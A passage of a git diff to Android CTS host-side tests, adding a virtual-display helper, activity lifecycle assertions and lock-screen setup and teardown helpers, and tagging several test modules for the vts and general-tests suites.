+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+public class DisplayHelper {
+ private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+ private static final String VIRTUAL_DISPLAY_SERVICE =
+ "android.server.displayservice/.VirtualDisplayService";
+ private static final Pattern mDisplayDevicePattern = Pattern.compile(
+ ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+ private boolean mCreated;
+ private final ITestDevice mDevice;
+
+ public DisplayHelper(ITestDevice device) {
+ mDevice = device;
+ }
+
+ public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+ throws DeviceNotAvailableException {
+ StringBuilder command =
+ new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+ command.append(" --es command create");
+ if (external) {
+ command.append(" --ez external_display true");
+ }
+ if (requestShowWhenLocked) {
+ command.append(" --ez show_content_when_locked true");
+ }
+ mDevice.executeShellCommand(command.toString());
+
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+ mCreated = true;
+ }
+
+ public void turnDisplayOff() throws DeviceNotAvailableException {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
+ }
+
+ public void turnDisplayOn() throws DeviceNotAvailableException {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+ }
+
+ public void releaseDisplay() throws DeviceNotAvailableException {
+ if (mCreated) {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+ waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
+ }
+ mCreated = false;
+ }
+
+ public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
+ throws DeviceNotAvailableException {
+ waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
+ }
+
+ public static boolean getDefaultDisplayState(ITestDevice device)
+ throws DeviceNotAvailableException {
+ return getDisplayState(device, true);
+ }
+
+ private static void waitForDisplayState(
+ ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
+ throws DeviceNotAvailableException {
+ int tries = 0;
+ boolean done = false;
+ do {
+ if (tries > 0) {
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ // Oh well
+ }
+ }
+
+ Boolean state = getDisplayState(device, defaultDisplay);
+ done = (!wantExists && state == null)
+ || (wantExists && state != null && state == wantOn);
+
+ tries++;
+ } while (tries < 10 && !done);
+
+ assertTrue(done);
+ }
+
+ private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
+ throws DeviceNotAvailableException {
+ final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+ device.executeShellCommand("dumpsys display", outputReceiver);
+ String dump = outputReceiver.getOutput();
+
+ boolean displayExists = false;
+ boolean displayOn = false;
+ for (String line : dump.split("\\n")) {
+ Matcher matcher = mDisplayDevicePattern.matcher(line);
+ if (matcher.matches()) {
+ if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+ || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+ return "ON".equals(matcher.group(2));
+ }
+ }
+ }
+ return null;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
index 0f232e7..a54ed19 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
@@ -23,6 +23,7 @@
import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
import static android.server.cts.ActivityManagerTestBase.componentName;
import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
import android.server.cts.ActivityManagerState.ActivityStack;
import android.server.cts.ActivityManagerState.ActivityTask;
@@ -32,6 +33,7 @@
import android.server.cts.WindowManagerState.WindowTask;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.DeviceNotAvailableException;
import junit.framework.Assert;
@@ -40,6 +42,7 @@
import java.util.List;
import java.util.Objects;
import java.util.function.BiPredicate;
+import java.util.function.BooleanSupplier;
import java.util.function.Predicate;
/** Combined state of the activity manager and window manager. */
@@ -210,6 +213,26 @@
} while (retriesLeft-- > 0);
}
+ void waitForAllStoppedActivities(ITestDevice device) throws Exception {
+ int retriesLeft = 5;
+ do {
+ mAmState.computeState(device);
+ if (mAmState.containsStartedActivities()){
+ log("***Waiting for valid stacks and activities states...");
+ try {
+ Thread.sleep(1500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertFalse(mAmState.containsStartedActivities());
+ }
+
void waitForHomeActivityVisible(ITestDevice device) throws Exception {
waitForValidState(device, mAmState.getHomeActivityName());
}
@@ -248,10 +271,17 @@
"***Waiting for Display unfrozen");
}
- void waitForActivityState(ITestDevice device, String activityName, String activityState)
- throws Exception {
- waitForWithAmState(device, state -> state.hasActivityState(activityName, activityState),
- "***Waiting for Activity State: " + activityState);
+ void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
+ throws Exception {
+ waitForWithAmState(device, state -> {
+ for (String activityState : activityStates) {
+ if (state.hasActivityState(activityName, activityState)) {
+ return true;
+ }
+ }
+ return false;
+ },
+ "***Waiting for Activity State: " + activityStates);
}
void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
@@ -278,11 +308,22 @@
void waitFor(ITestDevice device,
BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
throws Exception {
+ waitFor(message, () -> {
+ try {
+ mAmState.computeState(device);
+ mWmState.computeState(device);
+ } catch (Exception e) {
+ logE(e.toString());
+ return false;
+ }
+ return waitCondition.test(mAmState, mWmState);
+ });
+ }
+
+ void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
int retriesLeft = 5;
do {
- mAmState.computeState(device);
- mWmState.computeState(device);
- if (!waitCondition.test(mAmState, mWmState)) {
+ if (!waitCondition.getAsBoolean()) {
log(message);
try {
Thread.sleep(1000);
@@ -459,18 +500,6 @@
assertTrue(msg, mWmState.containsStack(stackId));
}
- void assertHasFullscreenTypeStackOnDisplay(String msg, int displayId) {
- assertTrue(msg, mAmState.containsSuitableStackOnDisplay(displayId));
- }
-
- void assertActivityInFullscreenTypeStack(String msg, String activityName)
- throws Exception {
- final int stackId = mAmState.getTaskByActivityName(activityName).mStackId;
- assertTrue(mAmState.isSuitableStack(stackId));
- assertFrontStack(msg, stackId);
- assertFocusedStack(msg, stackId);
- }
-
void assertDoesNotContainStack(String msg, int stackId) throws Exception {
assertFalse(msg, mAmState.containsStack(stackId));
assertFalse(msg, mWmState.containsStack(stackId));
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
index 2e53997..fa79c5e 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
@@ -33,7 +33,8 @@
import java.util.regex.Pattern;
import java.util.regex.Matcher;
-import static android.server.cts.ActivityManagerTestBase.*;
+import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
import static android.server.cts.StateLogger.log;
import static android.server.cts.StateLogger.logE;
@@ -43,6 +44,7 @@
public static final String STATE_RESUMED = "RESUMED";
public static final String STATE_PAUSED = "PAUSED";
public static final String STATE_STOPPED = "STOPPED";
+ public static final String STATE_DESTROYED = "DESTROYED";
public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
@@ -234,21 +236,6 @@
return null;
}
- boolean containsSuitableStackOnDisplay(int displayId) {
- for (ActivityStack stack : mDisplayStacks.get(displayId)) {
- if (isSuitableStack(stack.mStackId)) {
- return true;
- }
- }
- return false;
- }
-
- boolean isSuitableStack(int stackId) {
- return stackId != HOME_STACK_ID
- && stackId != DOCKED_STACK_ID
- && stackId != PINNED_STACK_ID;
- }
-
int getStackPosition(int stackId) {
for (Integer displayId : mDisplayStacks.keySet()) {
List<ActivityStack> stacks = mDisplayStacks.get(displayId);
@@ -295,6 +282,20 @@
return false;
}
+ boolean containsStartedActivities() {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (!activity.state.equals(STATE_STOPPED)
+ && !activity.state.equals(STATE_DESTROYED)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
boolean hasActivityState(String activityName, String activityState) {
String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
for (ActivityStack stack : mStacks) {
@@ -402,10 +403,12 @@
private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
"mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
+ private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
int mDisplayId;
int mStackId;
String mResumedActivity;
+ Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
ArrayList<ActivityTask> mTasks = new ArrayList();
private ActivityStack() {
@@ -468,6 +471,13 @@
log(mResumedActivity);
continue;
}
+
+ matcher = SLEEPING_PATTERN.matcher(line);
+ if (matcher.matches()) {
+ log(line);
+ mSleeping = "true".equals(matcher.group(1));
+ continue;
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index 07d1862..ca672e4 100755
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -24,7 +24,6 @@
import com.android.tradefed.result.InputStreamSource;
import com.android.tradefed.testtype.DeviceTestCase;
-import java.awt.*;
import java.awt.image.BufferedImage;
import java.lang.Exception;
import java.lang.Integer;
@@ -142,18 +141,15 @@
protected static final int INVALID_DEVICE_ROTATION = -1;
- /** Corresponds to {@link Surface.ROTATION_0},
- * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270} */
- protected static final int ROTATION_0 = 0;
- protected static final int ROTATION_90 = 1;
- protected static final int ROTATION_180 = 2;
- protected static final int ROTATION_270 = 3;
-
/** A reference to the device under test. */
protected ITestDevice mDevice;
private HashSet<String> mAvailableFeatures;
+ private boolean mLockCredentialsSet;
+
+ private boolean mLockDisabled;
+
protected static String getAmStartCmd(final String activityName) {
return "am start -n " + getActivityComponentName(activityName);
}
@@ -174,17 +170,9 @@
return base;
}
- protected static String getAmStartCmd(final String activityName, final int displayId,
- final String... keyValuePairs) {
- String base = "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+ protected static String getAmStartCmd(final String activityName, final int displayId) {
+ return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+ " --display " + displayId;
- if (keyValuePairs.length % 2 != 0) {
- throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
- }
- for (int i = 0; i < keyValuePairs.length; i += 2) {
- base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
- }
- return base;
}
protected static String getAmStartCmdInNewTask(final String activityName) {
@@ -218,6 +206,10 @@
componentName = name;
}
+ protected static void setDefaultComponentName() {
+ setComponentName(DEFAULT_COMPONENT_NAME);
+ }
+
static String getBaseWindowName() {
return getBaseWindowName(componentName);
}
@@ -271,7 +263,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- setComponentName(DEFAULT_COMPONENT_NAME);
+ setDefaultComponentName();
// Get the device, this gives a handle to run commands and install APKs.
mDevice = getDevice();
@@ -283,12 +275,15 @@
mInitialAccelerometerRotation = getAccelerometerRotation();
mUserRotation = getUserRotation();
mFontScale = getFontScale();
+ mLockCredentialsSet = false;
+ mLockDisabled = isLockDisabled();
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
try {
+ setLockDisabled(mLockDisabled);
executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
@@ -296,6 +291,7 @@
setAccelerometerRotation(mInitialAccelerometerRotation);
setUserRotation(mUserRotation);
setFontScale(mFontScale);
+ setWindowTransitionAnimationDurationScale(1);
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
wakeUpAndUnlockDevice();
@@ -398,14 +394,10 @@
mAmWmState.waitForHomeActivityVisible(mDevice);
}
- protected void launchActivityOnDisplayNoWait(String targetActivityName, int displayId,
- String... keyValuePairs) throws Exception {
- executeShellCommand(getAmStartCmd(targetActivityName, displayId, keyValuePairs));
- }
+ protected void launchActivityOnDisplay(String targetActivityName, int displayId)
+ throws Exception {
+ executeShellCommand(getAmStartCmd(targetActivityName, displayId));
- protected void launchActivityOnDisplay(String targetActivityName, int displayId,
- String... keyValuePairs) throws Exception {
- launchActivityOnDisplayNoWait(targetActivityName, displayId, keyValuePairs);
mAmWmState.waitForValidState(mDevice, targetActivityName);
}
@@ -565,10 +557,11 @@
|| PRETEND_DEVICE_SUPPORTS_FREEFORM;
}
- protected boolean supportsKeyguard() throws DeviceNotAvailableException {
+ protected boolean isHandheld() throws DeviceNotAvailableException {
return !hasDeviceFeature("android.software.leanback")
&& !hasDeviceFeature("android.hardware.type.watch")
- && !isUiModeLockedToVrHeadset();
+ && !hasDeviceFeature("android.hardware.type.embedded")
+ && !hasDeviceFeature("android.hardware.type.automotive");
}
// TODO: Switch to using a feature flag, when available.
@@ -647,7 +640,7 @@
return result;
}
- private boolean isDisplayOn() throws DeviceNotAvailableException {
+ protected boolean isDisplayOn() throws DeviceNotAvailableException {
final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
mDevice.executeShellCommand("dumpsys power", outputReceiver);
@@ -688,6 +681,11 @@
unlockDevice();
}
+ protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
+ wakeUpDevice();
+ setLockDisabled(true);
+ }
+
protected void wakeUpDevice() throws DeviceNotAvailableException {
runCommandAndPrintOutput("input keyevent WAKEUP");
}
@@ -721,14 +719,36 @@
}
protected void setLockCredential() throws DeviceNotAvailableException {
+ mLockCredentialsSet = true;
runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
}
- protected void removeLockCredential() throws DeviceNotAvailableException {
+ private void removeLockCredential() throws DeviceNotAvailableException {
runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
}
/**
+ * Returns whether the lock screen is disabled.
+ * @return true if the lock screen is disabled, false otherwise.
+ */
+ private boolean isLockDisabled() throws DeviceNotAvailableException {
+ final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
+ if ("null".equals(isLockDisabled)) {
+ return false;
+ }
+ return Boolean.parseBoolean(isLockDisabled);
+
+ }
+
+ /**
+ * Disable the lock screen.
+ * @param lockDisabled true if should disable, false otherwise.
+ */
+ void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
+ runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
+ }
+
+ /**
* Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
* {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
*/
@@ -792,6 +812,12 @@
}
}
+ protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
+ throws DeviceNotAvailableException {
+ runCommandAndPrintOutput(
+ "settings put global transition_animation_scale " + animDurationScale);
+ }
+
protected float getFontScale() throws DeviceNotAvailableException {
try {
final String fontScale =
@@ -990,7 +1016,124 @@
return filteredResult;
}
+ void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ private String validateLifecycleCounts(String activityName, String logSeparator,
+ int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+ int destroyCount) throws DeviceNotAvailableException {
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mCreateCount != createCount) {
+ return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
+ }
+ if (lifecycleCounts.mStartCount != startCount) {
+ return activityName + " started " + lifecycleCounts.mStartCount + " times.";
+ }
+ if (lifecycleCounts.mResumeCount != resumeCount) {
+ return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
+ }
+ if (lifecycleCounts.mPauseCount != pauseCount) {
+ return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
+ }
+ if (lifecycleCounts.mStopCount != stopCount) {
+ return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
+ }
+ if (lifecycleCounts.mDestroyCount != destroyCount) {
+ return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
+ }
+ return null;
+ }
+
private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+ private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
private static final Pattern sConfigurationChangedPattern =
@@ -1118,6 +1261,7 @@
class ActivityLifecycleCounts {
int mCreateCount;
+ int mStartCount;
int mResumeCount;
int mConfigurationChangedCount;
int mLastConfigurationChangedLineIndex;
@@ -1144,6 +1288,12 @@
continue;
}
+ matcher = sStartPattern.matcher(line);
+ if (matcher.matches()) {
+ mStartCount++;
+ continue;
+ }
+
matcher = sResumePattern.matcher(line);
if (matcher.matches()) {
mResumeCount++;
@@ -1316,4 +1466,17 @@
}
}
}
+
+ void tearDownLockCredentials() throws Exception {
+ if (!mLockCredentialsSet) {
+ return;
+ }
+
+ removeLockCredential();
+ // Dismiss active keyguard after credential is cleared, so
+ // keyguard doesn't ask for the stale credential.
+ pressBackButton();
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
index 79470c6..0739743 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
@@ -30,7 +30,7 @@
LOCAL_CTS_TEST_PACKAGE := android.server.cts
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
index a0f71dd..dc2485d 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
index 940f7a6..5246c94 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := 25
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
index 1ec751c..12a04ed 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
index 7dc512c..cb43a8b 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
index a42f8d0..a33e1bc 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := 23
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
index e5aa610..d6e82d3 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceWindowFramesTestApp
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 810fe64..d6077a4 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher1
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 3eb0cde..8f124a0 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher2
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index 0b072a5..9883e5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher3
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index a729fe8..72da903 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher1
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index 12a0995..286dded 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher2
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index 4232034..f1421d1 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher3
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 183531b..619bdfe 100644
